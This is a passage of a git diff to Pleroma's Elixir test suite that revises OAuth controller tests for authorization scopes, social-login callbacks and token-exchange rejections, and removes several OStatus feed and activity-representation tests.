- "oauth_verifier" => "QZl8vUqNvXMTKpdmUnGejJxuHG75WWWs",
- "provider" => "twitter",
- "state" => Poison.encode!(state_params)
- }
- )
+ conn =
+ conn
+ |> assign(:ueberauth_auth, %{provider: registration.provider, uid: registration.uid})
+ |> get(
+ "/oauth/twitter/callback",
+ %{
+ "oauth_token" => "G-5a3AAAAAAAwMH9AAABaektfSM",
+ "oauth_verifier" => "QZl8vUqNvXMTKpdmUnGejJxuHG75WWWs",
+ "provider" => "twitter",
+ "state" => Poison.encode!(state_params)
+ }
+ )
- assert response = html_response(conn, 302)
- assert redirected_to(conn) =~ ~r/#{redirect_uri}\?code=.+/
- end
+ assert response = html_response(conn, 302)
+ assert redirected_to(conn) =~ ~r/#{redirect_uri}\?code=.+/
end
test "with user-unbound registration, GET /oauth/<provider>/callback renders registration_details page",
%{app: app, conn: conn} do
- registration = insert(:registration, user: nil)
+ user = insert(:user)
state_params = %{
"scope" => "read write",
@@ -138,26 +134,28 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do
"state" => "a_state"
}
- with_mock Pleroma.Web.Auth.Authenticator,
- get_registration: fn _ -> {:ok, registration} end do
- conn =
- get(
- conn,
- "/oauth/twitter/callback",
- %{
- "oauth_token" => "G-5a3AAAAAAAwMH9AAABaektfSM",
- "oauth_verifier" => "QZl8vUqNvXMTKpdmUnGejJxuHG75WWWs",
- "provider" => "twitter",
- "state" => Poison.encode!(state_params)
- }
- )
+ conn =
+ conn
+ |> assign(:ueberauth_auth, %{
+ provider: "twitter",
+ uid: "171799000",
+ info: %{nickname: user.nickname, email: user.email, name: user.name, description: nil}
+ })
+ |> get(
+ "/oauth/twitter/callback",
+ %{
+ "oauth_token" => "G-5a3AAAAAAAwMH9AAABaektfSM",
+ "oauth_verifier" => "QZl8vUqNvXMTKpdmUnGejJxuHG75WWWs",
+ "provider" => "twitter",
+ "state" => Poison.encode!(state_params)
+ }
+ )
- assert response = html_response(conn, 200)
- assert response =~ ~r/name="op" type="submit" value="register"/
- assert response =~ ~r/name="op" type="submit" value="connect"/
- assert response =~ Registration.email(registration)
- assert response =~ Registration.nickname(registration)
- end
+ assert response = html_response(conn, 200)
+ assert response =~ ~r/name="op" type="submit" value="register"/
+ assert response =~ ~r/name="op" type="submit" value="connect"/
+ assert response =~ user.email
+ assert response =~ user.nickname
end
test "on authentication error, GET /oauth/<provider>/callback redirects to `redirect_uri`", %{
@@ -452,7 +450,7 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do
test "renders authentication page if user is already authenticated but `force_login` is tru-ish",
%{app: app, conn: conn} do
- token = insert(:oauth_token, app_id: app.id)
+ token = insert(:oauth_token, app: app)
conn =
conn
@@ -471,12 +469,35 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do
assert html_response(conn, 200) =~ ~s(type="submit")
end
+ test "renders authentication page if user is already authenticated but user request with another client",
+ %{
+ app: app,
+ conn: conn
+ } do
+ token = insert(:oauth_token, app: app)
+
+ conn =
+ conn
+ |> put_session(:oauth_token, token.token)
+ |> get(
+ "/oauth/authorize",
+ %{
+ "response_type" => "code",
+ "client_id" => "another_client_id",
+ "redirect_uri" => OAuthController.default_redirect_uri(app),
+ "scope" => "read"
+ }
+ )
+
+ assert html_response(conn, 200) =~ ~s(type="submit")
+ end
+
test "with existing authentication and non-OOB `redirect_uri`, redirects to app with `token` and `state` params",
%{
app: app,
conn: conn
} do
- token = insert(:oauth_token, app_id: app.id)
+ token = insert(:oauth_token, app: app)
conn =
conn
@@ -502,7 +523,7 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do
conn: conn
} do
unlisted_redirect_uri = "http://cross-site-request.com"
- token = insert(:oauth_token, app_id: app.id)
+ token = insert(:oauth_token, app: app)
conn =
conn
@@ -526,7 +547,7 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do
app: app,
conn: conn
} do
- token = insert(:oauth_token, app_id: app.id)
+ token = insert(:oauth_token, app: app)
conn =
conn
@@ -546,33 +567,46 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do
end
describe "POST /oauth/authorize" do
- test "redirects with oauth authorization" do
- user = insert(:user)
- app = insert(:oauth_app, scopes: ["read", "write", "follow"])
+ test "redirects with oauth authorization, " <>
+ "granting requested app-supported scopes to both admin- and non-admin users" do
+ app_scopes = ["read", "write", "admin", "secret_scope"]
+ app = insert(:oauth_app, scopes: app_scopes)
redirect_uri = OAuthController.default_redirect_uri(app)
- conn =
- build_conn()
- |> post("/oauth/authorize", %{
- "authorization" => %{
- "name" => user.nickname,
- "password" => "test",
- "client_id" => app.client_id,
- "redirect_uri" => redirect_uri,
- "scope" => "read write",
- "state" => "statepassed"
- }
- })
+ non_admin = insert(:user, is_admin: false)
+ admin = insert(:user, is_admin: true)
+ scopes_subset = ["read:subscope", "write", "admin"]
- target = redirected_to(conn)
- assert target =~ redirect_uri
+ # In case scope param is missing, expecting _all_ app-supported scopes to be granted
+ for user <- [non_admin, admin],
+ {requested_scopes, expected_scopes} <-
+ %{scopes_subset => scopes_subset, nil => app_scopes} do
+ conn =
+ post(
+ build_conn(),
+ "/oauth/authorize",
+ %{
+ "authorization" => %{
+ "name" => user.nickname,
+ "password" => "test",
+ "client_id" => app.client_id,
+ "redirect_uri" => redirect_uri,
+ "scope" => requested_scopes,
+ "state" => "statepassed"
+ }
+ }
+ )
- query = URI.parse(target).query |> URI.query_decoder() |> Map.new()
+ target = redirected_to(conn)
+ assert target =~ redirect_uri
- assert %{"state" => "statepassed", "code" => code} = query
- auth = Repo.get_by(Authorization, token: code)
- assert auth
- assert auth.scopes == ["read", "write"]
+ query = URI.parse(target).query |> URI.query_decoder() |> Map.new()
+
+ assert %{"state" => "statepassed", "code" => code} = query
+ auth = Repo.get_by(Authorization, token: code)
+ assert auth
+ assert auth.scopes == expected_scopes
+ end
end
test "returns 401 for wrong credentials", %{conn: conn} do
@@ -602,13 +636,13 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do
assert result =~ "Invalid Username/Password"
end
- test "returns 401 for missing scopes", %{conn: conn} do
- user = insert(:user)
- app = insert(:oauth_app)
+ test "returns 401 for missing scopes" do
+ user = insert(:user, is_admin: false)
+ app = insert(:oauth_app, scopes: ["read", "write", "admin"])
redirect_uri = OAuthController.default_redirect_uri(app)
result =
- conn
+ build_conn()
|> post("/oauth/authorize", %{
"authorization" => %{
"name" => user.nickname,
@@ -629,7 +663,7 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do
assert result =~ "This action is outside the authorized scopes"
end
- test "returns 401 for scopes beyond app scopes", %{conn: conn} do
+ test "returns 401 for scopes beyond app scopes hierarchy", %{conn: conn} do
user = insert(:user)
app = insert(:oauth_app, scopes: ["read", "write"])
redirect_uri = OAuthController.default_redirect_uri(app)
@@ -777,24 +811,15 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do
end
test "rejects token exchange for valid credentials belonging to unconfirmed user and confirmation is required" do
- setting = Pleroma.Config.get([:instance, :account_activation_required])
-
- unless setting do
- Pleroma.Config.put([:instance, :account_activation_required], true)
- on_exit(fn -> Pleroma.Config.put([:instance, :account_activation_required], setting) end)
- end
-
+ Pleroma.Config.put([:instance, :account_activation_required], true)
password = "testpassword"
- user = insert(:user, password_hash: Comeonin.Pbkdf2.hashpwsalt(password))
- info_change = Pleroma.User.Info.confirmation_changeset(user.info, need_confirmation: true)
{:ok, user} =
- user
- |> Ecto.Changeset.change()
- |> Ecto.Changeset.put_embed(:info, info_change)
- |> Repo.update()
+ insert(:user, password_hash: Comeonin.Pbkdf2.hashpwsalt(password))
+ |> User.confirmation_changeset(need_confirmation: true)
+ |> User.update_and_set_cache()
- refute Pleroma.User.auth_active?(user)
+ refute Pleroma.User.account_status(user) == :active
app = insert(:oauth_app)
@@ -819,12 +844,12 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do
user =
insert(:user,
password_hash: Comeonin.Pbkdf2.hashpwsalt(password),
- info: %{deactivated: true}
+ deactivated: true
)
app = insert(:oauth_app)
- conn =
+ resp =
build_conn()
|> post("/oauth/token", %{
"grant_type" => "password",
@@ -833,10 +858,69 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do
"client_id" => app.client_id,
"client_secret" => app.client_secret
})
+ |> json_response(403)
- assert resp = json_response(conn, 403)
- assert %{"error" => _} = resp
- refute Map.has_key?(resp, "access_token")
+ assert resp == %{
+ "error" => "Your account is currently disabled",
+ "identifier" => "account_is_disabled"
+ }
+ end
+
+ test "rejects token exchange for user with password_reset_pending set to true" do
+ password = "testpassword"
+
+ user =
+ insert(:user,
+ password_hash: Comeonin.Pbkdf2.hashpwsalt(password),
+ password_reset_pending: true
+ )
+
+ app = insert(:oauth_app, scopes: ["read", "write"])
+
+ resp =
+ build_conn()
+ |> post("/oauth/token", %{
+ "grant_type" => "password",
+ "username" => user.nickname,
+ "password" => password,
+ "client_id" => app.client_id,
+ "client_secret" => app.client_secret
+ })
+ |> json_response(403)
+
+ assert resp == %{
+ "error" => "Password reset is required",
+ "identifier" => "password_reset_required"
+ }
+ end
+
+ test "rejects token exchange for user with confirmation_pending set to true" do
+ Pleroma.Config.put([:instance, :account_activation_required], true)
+ password = "testpassword"
+
+ user =
+ insert(:user,
+ password_hash: Comeonin.Pbkdf2.hashpwsalt(password),
+ confirmation_pending: true
+ )
+
+ app = insert(:oauth_app, scopes: ["read", "write"])
+
+ resp =
+ build_conn()
+ |> post("/oauth/token", %{
+ "grant_type" => "password",
+ "username" => user.nickname,
+ "password" => password,
+ "client_id" => app.client_id,
+ "client_secret" => app.client_secret
+ })
+ |> json_response(403)
+
+ assert resp == %{
+ "error" => "Your login is missing a confirmed e-mail address",
+ "identifier" => "missing_confirmed_email"
+ }
end
test "rejects an invalid authorization code" do
@@ -859,16 +943,10 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do
end
describe "POST /oauth/token - refresh token" do
- setup do
- oauth_token_config = Pleroma.Config.get(@oauth_config_path)
-
- on_exit(fn ->
- Pleroma.Config.get(@oauth_config_path, oauth_token_config)
- end)
- end
+ clear_config([:oauth2, :issue_new_refresh_token])
test "issues a new access token with keep fresh token" do
- Pleroma.Config.put(@oauth_config_path, true)
+ Pleroma.Config.put([:oauth2, :issue_new_refresh_token], true)
user = insert(:user)
app = insert(:oauth_app, scopes: ["read", "write"])
@@ -908,7 +986,7 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do
end
test "issues a new access token with new fresh token" do
- Pleroma.Config.put(@oauth_config_path, false)
+ Pleroma.Config.put([:oauth2, :issue_new_refresh_token], false)
user = insert(:user)
app = insert(:oauth_app, scopes: ["read", "write"])
diff --git a/test/web/oauth/token/utils_test.exs b/test/web/oauth/token/utils_test.exs
index 20e338cab..dc1f9a986 100644
--- a/test/web/oauth/token/utils_test.exs
+++ b/test/web/oauth/token/utils_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.OAuth.Token.UtilsTest do
diff --git a/test/web/oauth/token_test.exs b/test/web/oauth/token_test.exs
index 3c07309b7..5359940f8 100644
--- a/test/web/oauth/token_test.exs
+++ b/test/web/oauth/token_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.OAuth.TokenTest do
diff --git a/test/web/ostatus/activity_representer_test.exs b/test/web/ostatus/activity_representer_test.exs
deleted file mode 100644
index a3a92ce5b..000000000
--- a/test/web/ostatus/activity_representer_test.exs
+++ /dev/null
@@ -1,300 +0,0 @@
-# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
-# SPDX-License-Identifier: AGPL-3.0-only
-
-defmodule Pleroma.Web.OStatus.ActivityRepresenterTest do
- use Pleroma.DataCase
-
- alias Pleroma.Activity
- alias Pleroma.Object
- alias Pleroma.User
- alias Pleroma.Web.ActivityPub.ActivityPub
- alias Pleroma.Web.OStatus
- alias Pleroma.Web.OStatus.ActivityRepresenter
-
- import Pleroma.Factory
- import Tesla.Mock
-
- setup do
- mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
- :ok
- end
-
- test "an external note activity" do
- incoming = File.read!("test/fixtures/mastodon-note-cw.xml")
- {:ok, [activity]} = OStatus.handle_incoming(incoming)
-
- user = User.get_cached_by_ap_id(activity.data["actor"])
-
- tuple = ActivityRepresenter.to_simple_form(activity, user)
-
- res = :xmerl.export_simple_content(tuple, :xmerl_xml) |> IO.iodata_to_binary()
-
- assert String.contains?(
- res,
- ~s{<link type="text/html" href="https://mastodon.social/users/lambadalambda/updates/2314748" rel="alternate"/>}
- )
- end
-
- test "a note activity" do
- note_activity = insert(:note_activity)
- object_data = Object.normalize(note_activity).data
-
- user = User.get_cached_by_ap_id(note_activity.data["actor"])
-
- expected = """
- <activity:object-type>http://activitystrea.ms/schema/1.0/note</activity:object-type>
- <activity:verb>http://activitystrea.ms/schema/1.0/post</activity:verb>
- <id>#{object_data["id"]}</id>
- <title>New note by #{user.nickname}</title>
- <content type="html">#{object_data["content"]}</content>
- <published>#{object_data["published"]}</published>
- <updated>#{object_data["published"]}</updated>
- <ostatus:conversation ref="#{note_activity.data["context"]}">#{note_activity.data["context"]}</ostatus:conversation>
- <link ref="#{note_activity.data["context"]}" rel="ostatus:conversation" />
- <summary>#{object_data["summary"]}</summary>
- <link type="application/atom+xml" href="#{object_data["id"]}" rel="self" />
- <link type="text/html" href="#{object_data["id"]}" rel="alternate" />
- <category term="2hu"/>
- <link rel="mentioned" ostatus:object-type="http://activitystrea.ms/schema/1.0/collection" href="http://activityschema.org/collection/public"/>
- <link name="2hu" rel="emoji" href="corndog.png" />
- """
-
- tuple = ActivityRepresenter.to_simple_form(note_activity, user)
-
- res = :xmerl.export_simple_content(tuple, :xmerl_xml) |> IO.iodata_to_binary()
-
- assert clean(res) == clean(expected)
- end
-
- test "a reply note" do
- user = insert(:user)
- note_object = insert(:note)
- _note = insert(:note_activity, %{note: note_object})
- object = insert(:note, %{data: %{"inReplyTo" => note_object.data["id"]}})
- answer = insert(:note_activity, %{note: object})
-
- Repo.update!(
- Object.change(note_object, %{data: Map.put(note_object.data, "external_url", "someurl")})
- )
-
- expected = """
- <activity:object-type>http://activitystrea.ms/schema/1.0/note</activity:object-type>
- <activity:verb>http://activitystrea.ms/schema/1.0/post</activity:verb>
- <id>#{object.data["id"]}</id>
- <title>New note by #{user.nickname}</title>
- <content type="html">#{object.data["content"]}</content>
- <published>#{object.data["published"]}</published>
- <updated>#{object.data["published"]}</updated>
- <ostatus:conversation ref="#{answer.data["context"]}">#{answer.data["context"]}</ostatus:conversation>
- <link ref="#{answer.data["context"]}" rel="ostatus:conversation" />
- <summary>2hu</summary>
- <link type="application/atom+xml" href="#{object.data["id"]}" rel="self" />
- <link type="text/html" href="#{object.data["id"]}" rel="alternate" />
- <category term="2hu"/>
- <thr:in-reply-to ref="#{note_object.data["id"]}" href="someurl" />
- <link rel="mentioned" ostatus:object-type="http://activitystrea.ms/schema/1.0/collection" href="http://activityschema.org/collection/public"/>
- <link name="2hu" rel="emoji" href="corndog.png" />
- """
-
- tuple = ActivityRepresenter.to_simple_form(answer, user)
-
- res = :xmerl.export_simple_content(tuple, :xmerl_xml) |> IO.iodata_to_binary()
-
- assert clean(res) == clean(expected)
- end
-
- test "an announce activity" do
- note = insert(:note_activity)
- user = insert(:user)
- object = Object.normalize(note)
-
- {:ok, announce, _object} = ActivityPub.announce(user, object)
-
- announce = Activity.get_by_id(announce.id)
-
- note_user = User.get_cached_by_ap_id(note.data["actor"])
- note = Activity.get_by_id(note.id)
-
- note_xml =
- ActivityRepresenter.to_simple_form(note, note_user, true)
- |> :xmerl.export_simple_content(:xmerl_xml)
- |> to_string
-
- expected = """
- <activity:object-type>http://activitystrea.ms/schema/1.0/activity</activity:object-type>
- <activity:verb>http://activitystrea.ms/schema/1.0/share</activity:verb>
- <id>#{announce.data["id"]}</id>
- <title>#{user.nickname} repeated a notice</title>
- <content type="html">RT #{object.data["content"]}</content>
- <published>#{announce.data["published"]}</published>
- <updated>#{announce.data["published"]}</updated>
- <ostatus:conversation ref="#{announce.data["context"]}">#{announce.data["context"]}</ostatus:conversation>
- <link ref="#{announce.data["context"]}" rel="ostatus:conversation" />
- <link rel="self" type="application/atom+xml" href="#{announce.data["id"]}"/>
- <activity:object>
- #{note_xml}
- </activity:object>
- <link rel="mentioned" ostatus:object-type="http://activitystrea.ms/schema/1.0/person" href="#{
- note.data["actor"]
- }"/>
- <link rel="mentioned" ostatus:object-type="http://activitystrea.ms/schema/1.0/collection" href="http://activityschema.org/collection/public"/>
- """
-
- announce_xml =
- ActivityRepresenter.to_simple_form(announce, user)
- |> :xmerl.export_simple_content(:xmerl_xml)
- |> to_string
-
- assert clean(expected) == clean(announce_xml)
- end
-
- test "a like activity" do
- note = insert(:note)
- user = insert(:user)
- {:ok, like, _note} = ActivityPub.like(user, note)
-
- tuple = ActivityRepresenter.to_simple_form(like, user)
- refute is_nil(tuple)
-
- res = :xmerl.export_simple_content(tuple, :xmerl_xml) |> IO.iodata_to_binary()
-
- expected = """
- <activity:verb>http://activitystrea.ms/schema/1.0/favorite</activity:verb>
- <id>#{like.data["id"]}</id>
- <title>New favorite by #{user.nickname}</title>
- <content type="html">#{user.nickname} favorited something</content>
- <published>#{like.data["published"]}</published>
- <updated>#{like.data["published"]}</updated>
- <activity:object>
- <activity:object-type>http://activitystrea.ms/schema/1.0/note</activity:object-type>
- <id>#{note.data["id"]}</id>
- </activity:object>
- <ostatus:conversation ref="#{like.data["context"]}">#{like.data["context"]}</ostatus:conversation>
- <link ref="#{like.data["context"]}" rel="ostatus:conversation" />
- <link rel="self" type="application/atom+xml" href="#{like.data["id"]}"/>
- <thr:in-reply-to ref="#{note.data["id"]}" />
- <link rel="mentioned" ostatus:object-type="http://activitystrea.ms/schema/1.0/person" href="#{
- note.data["actor"]
- }"/>
- <link rel="mentioned" ostatus:object-type="http://activitystrea.ms/schema/1.0/collection" href="http://activityschema.org/collection/public"/>
- """
-
- assert clean(res) == clean(expected)
- end
-
- test "a follow activity" do
- follower = insert(:user)
- followed = insert(:user)
-
- {:ok, activity} =
- ActivityPub.insert(%{
- "type" => "Follow",
- "actor" => follower.ap_id,
- "object" => followed.ap_id,
- "to" => [followed.ap_id]
- })
-
- tuple = ActivityRepresenter.to_simple_form(activity, follower)
-
- refute is_nil(tuple)
-
- res = :xmerl.export_simple_content(tuple, :xmerl_xml) |> IO.iodata_to_binary()
-
- expected = """
- <activity:object-type>http://activitystrea.ms/schema/1.0/activity</activity:object-type>
- <activity:verb>http://activitystrea.ms/schema/1.0/follow</activity:verb>
- <id>#{activity.data["id"]}</id>
- <title>#{follower.nickname} started following #{activity.data["object"]}</title>
- <content type="html"> #{follower.nickname} started following #{activity.data["object"]}</content>
- <published>#{activity.data["published"]}</published>
- <updated>#{activity.data["published"]}</updated>
- <activity:object>
- <activity:object-type>http://activitystrea.ms/schema/1.0/person</activity:object-type>
- <id>#{activity.data["object"]}</id>
- <uri>#{activity.data["object"]}</uri>
- </activity:object>
- <link rel="self" type="application/atom+xml" href="#{activity.data["id"]}"/>
- <link rel="mentioned" ostatus:object-type="http://activitystrea.ms/schema/1.0/person" href="#{
- activity.data["object"]
- }"/>
- """
-
- assert clean(res) == clean(expected)
- end
-
- test "an unfollow activity" do
- follower = insert(:user)
- followed = insert(:user)
- {:ok, _activity} = ActivityPub.follow(follower, followed)
- {:ok, activity} = ActivityPub.unfollow(follower, followed)
-
- tuple = ActivityRepresenter.to_simple_form(activity, follower)
-
- refute is_nil(tuple)
-
- res = :xmerl.export_simple_content(tuple, :xmerl_xml) |> IO.iodata_to_binary()
-
- expected = """
- <activity:object-type>http://activitystrea.ms/schema/1.0/activity</activity:object-type>
- <activity:verb>http://activitystrea.ms/schema/1.0/unfollow</activity:verb>
- <id>#{activity.data["id"]}</id>
- <title>#{follower.nickname} stopped following #{followed.ap_id}</title>
- <content type="html"> #{follower.nickname} stopped following #{followed.ap_id}</content>
- <published>#{activity.data["published"]}</published>
- <updated>#{activity.data["published"]}</updated>
- <activity:object>
- <activity:object-type>http://activitystrea.ms/schema/1.0/person</activity:object-type>
- <id>#{followed.ap_id}</id>
- <uri>#{followed.ap_id}</uri>
- </activity:object>
- <link rel="self" type="application/atom+xml" href="#{activity.data["id"]}"/>
- <link rel="mentioned" ostatus:object-type="http://activitystrea.ms/schema/1.0/person" href="#{
- followed.ap_id
- }"/>
- """
-
- assert clean(res) == clean(expected)
- end
-
- test "a delete" do
- user = insert(:user)
-
- activity = %Activity{
- data: %{
- "id" => "ap_id",
- "type" => "Delete",
- "actor" => user.ap_id,
- "object" => "some_id",
- "published" => "2017-06-18T12:00:18+00:00"
- }
- }
-
- tuple = ActivityRepresenter.to_simple_form(activity, nil)
-
- refute is_nil(tuple)
-
- res = :xmerl.export_simple_content(tuple, :xmerl_xml) |> IO.iodata_to_binary()
-
- expected = """
- <activity:object-type>http://activitystrea.ms/schema/1.0/activity</activity:object-type>
- <activity:verb>http://activitystrea.ms/schema/1.0/delete</activity:verb>
- <id>#{activity.data["object"]}</id>
- <title>An object was deleted</title>
- <content type="html">An object was deleted</content>
- <published>#{activity.data["published"]}</published>
- <updated>#{activity.data["published"]}</updated>
- """
-
- assert clean(res) == clean(expected)
- end
-
- test "an unknown activity" do
- tuple = ActivityRepresenter.to_simple_form(%Activity{}, nil)
- assert is_nil(tuple)
- end
-
- defp clean(string) do
- String.replace(string, ~r/\s/, "")
- end
-end
diff --git a/test/web/ostatus/feed_representer_test.exs b/test/web/ostatus/feed_representer_test.exs
deleted file mode 100644
index 3c7b126e7..000000000
--- a/test/web/ostatus/feed_representer_test.exs
+++ /dev/null
@@ -1,59 +0,0 @@
-# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
-# SPDX-License-Identifier: AGPL-3.0-only
-
-defmodule Pleroma.Web.OStatus.FeedRepresenterTest do
- use Pleroma.DataCase
- import Pleroma.Factory
- alias Pleroma.User
- alias Pleroma.Web.OStatus
- alias Pleroma.Web.OStatus.ActivityRepresenter
- alias Pleroma.Web.OStatus.FeedRepresenter
- alias Pleroma.Web.OStatus.UserRepresenter
-
- test "returns a feed of the last 20 items of the user" do
- note_activity = insert(:note_activity)
- user = User.get_cached_by_ap_id(note_activity.data["actor"])
-
- tuple = FeedRepresenter.to_simple_form(user, [note_activity], [user])
-
- most_recent_update =
- note_activity.updated_at
- |> NaiveDateTime.to_iso8601()
-
- res = :xmerl.export_simple_content(tuple, :xmerl_xml) |> to_string
-
- user_xml =
- UserRepresenter.to_simple_form(user)
- |> :xmerl.export_simple_content(:xmerl_xml)
-
- entry_xml =
- ActivityRepresenter.to_simple_form(note_activity, user)
- |> :xmerl.export_simple_content(:xmerl_xml)
-
- expected = """
- <feed xmlns="http://www.w3.org/2005/Atom" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:activity="http://activitystrea.ms/spec/1.0/" xmlns:poco="http://portablecontacts.net/spec/1.0" xmlns:ostatus="http://ostatus.org/schema/1.0">
- <id>#{OStatus.feed_path(user)}</id>
- <title>#{user.nickname}'s timeline</title>
- <updated>#{most_recent_update}</updated>
- <logo>#{User.avatar_url(user)}</logo>
- <link rel="hub" href="#{OStatus.pubsub_path(user)}" />
- <link rel="salmon" href="#{OStatus.salmon_path(user)}" />
- <link rel="self" href="#{OStatus.feed_path(user)}" type="application/atom+xml" />
- <author>
- #{user_xml}
- </author>
- <link rel="next" href="#{OStatus.feed_path(user)}?max_id=#{note_activity.id}" type="application/atom+xml" />
- <entry>
- #{entry_xml}
- </entry>
- </feed>
- """
-
- assert clean(res) == clean(expected)
- end
-
- defp clean(string) do
- String.replace(string, ~r/\s/, "")
- end
-end
diff --git a/test/web/ostatus/incoming_documents/delete_handling_test.exs b/test/web/ostatus/incoming_documents/delete_handling_test.exs
deleted file mode 100644
index cd0447af7..000000000
--- a/test/web/ostatus/incoming_documents/delete_handling_test.exs
+++ /dev/null
@@ -1,48 +0,0 @@
-# Pleroma: A lightweight social networking server
-# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
-# SPDX-License-Identifier: AGPL-3.0-only
-
-defmodule Pleroma.Web.OStatus.DeleteHandlingTest do
- use Pleroma.DataCase
-
- import Pleroma.Factory
- import Tesla.Mock
-
- alias Pleroma.Activity
- alias Pleroma.Object
- alias Pleroma.Web.OStatus
-
- setup do
- mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
- :ok
- end
-
- describe "deletions" do
- test "it removes the mentioned activity" do
- note = insert(:note_activity)
- second_note = insert(:note_activity)
- object = Object.normalize(note)
- second_object = Object.normalize(second_note)
- user = insert(:user)
-
- {:ok, like, _object} = Pleroma.Web.ActivityPub.ActivityPub.like(user, object)
-
- incoming =
- File.read!("test/fixtures/delete.xml")
- |> String.replace(
- "tag:mastodon.sdf.org,2017-06-10:objectId=310513:objectType=Status",
- object.data["id"]
- )
-
- {:ok, [delete]} = OStatus.handle_incoming(incoming)
-
- refute Activity.get_by_id(note.id)
- refute Activity.get_by_id(like.id)
- assert Object.get_by_ap_id(object.data["id"]).data["type"] == "Tombstone"
- assert Activity.get_by_id(second_note.id)
- assert Object.get_by_ap_id(second_object.data["id"])
-
- assert delete.data["type"] == "Delete"
- end
- end
-end
diff --git a/test/web/ostatus/ostatus_controller_test.exs b/test/web/ostatus/ostatus_controller_test.exs
index bb7648bdd..50235dfef 100644
--- a/test/web/ostatus/ostatus_controller_test.exs
+++ b/test/web/ostatus/ostatus_controller_test.exs
@@ -1,260 +1,280 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.OStatus.OStatusControllerTest do
use Pleroma.Web.ConnCase
- import ExUnit.CaptureLog
import Pleroma.Factory
alias Pleroma.Object
alias Pleroma.User
alias Pleroma.Web.CommonAPI
- alias Pleroma.Web.OStatus.ActivityRepresenter
setup_all do
Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
-
- config_path = [:instance, :federating]
- initial_setting = Pleroma.Config.get(config_path)
-
- Pleroma.Config.put(config_path, true)
- on_exit(fn -> Pleroma.Config.put(config_path, initial_setting) end)
-
:ok
end
- describe "salmon_incoming" do
- test "decodes a salmon", %{conn: conn} do
- user = insert(:user)
- salmon = File.read!("test/fixtures/salmon.xml")
+ clear_config_all([:instance, :federating]) do
+ Pleroma.Config.put([:instance, :federating], true)
+ end
- assert capture_log(fn ->
- conn =
- conn
- |> put_req_header("content-type", "application/atom+xml")
- |> post("/users/#{user.nickname}/salmon", salmon)
+ describe "GET object/2" do
+ test "redirects to /notice/id for html format", %{conn: conn} do
+ note_activity = insert(:note_activity)
+ object = Object.normalize(note_activity)
+ [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, object.data["id"]))
+ url = "/objects/#{uuid}"
- assert response(conn, 200)
- end) =~ "[error]"
- end
+ conn =
+ conn
+ |> put_req_header("accept", "text/html")
+ |> get(url)
- test "decodes a salmon with a changed magic key", %{conn: conn} do
- user = insert(:user)
- salmon = File.read!("test/fixtures/salmon.xml")
-
- assert capture_log(fn ->
- conn =
- conn
- |> put_req_header("content-type", "application/atom+xml")
- |> post("/users/#{user.nickname}/salmon", salmon)
-
- assert response(conn, 200)
- end) =~ "[error]"
-
- # Set a wrong magic-key for a user so it has to refetch
- salmon_user = User.get_cached_by_ap_id("http://gs.example.org:4040/index.php/user/1")
-
- # Wrong key
- info_cng =
- User.Info.remote_user_creation(salmon_user.info, %{
- magic_key:
- "RSA.pu0s-halox4tu7wmES1FVSx6u-4wc0YrUFXcqWXZG4-27UmbCOpMQftRCldNRfyA-qLbz-eqiwrong1EwUvjsD4cYbAHNGHwTvDOyx5AKthQUP44ykPv7kjKGh3DWKySJvcs9tlUG87hlo7AvnMo9pwRS_Zz2CacQ-MKaXyDepk=.AQAB"
- })
-
- salmon_user
- |> Ecto.Changeset.change()
- |> Ecto.Changeset.put_embed(:info, info_cng)
- |> User.update_and_set_cache()
-
- assert capture_log(fn ->
- conn =
- build_conn()
- |> put_req_header("content-type", "application/atom+xml")
- |> post("/users/#{user.nickname}/salmon", salmon)
-
- assert response(conn, 200)
- end) =~ "[error]"
+ assert redirected_to(conn) == "/notice/#{note_activity.id}"
end
- end
- test "gets a feed", %{conn: conn} do
- note_activity = insert(:note_activity)
- object = Object.normalize(note_activity)
- user = User.get_cached_by_ap_id(note_activity.data["actor"])
+ test "404s on private objects", %{conn: conn} do
+ note_activity = insert(:direct_note_activity)
+ object = Object.normalize(note_activity)
+ [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, object.data["id"]))
- conn =
conn
- |> put_req_header("content-type", "application/atom+xml")
- |> get("/users/#{user.nickname}/feed.atom")
+ |> get("/objects/#{uuid}")
+ |> response(404)
+ end
- assert response(conn, 200) =~ object.data["content"]
+ test "404s on nonexisting objects", %{conn: conn} do
+ conn
+ |> get("/objects/123")
+ |> response(404)
+ end
end
- test "returns 404 for a missing feed", %{conn: conn} do
- conn =
- conn
- |> put_req_header("content-type", "application/atom+xml")
- |> get("/users/nonexisting/feed.atom")
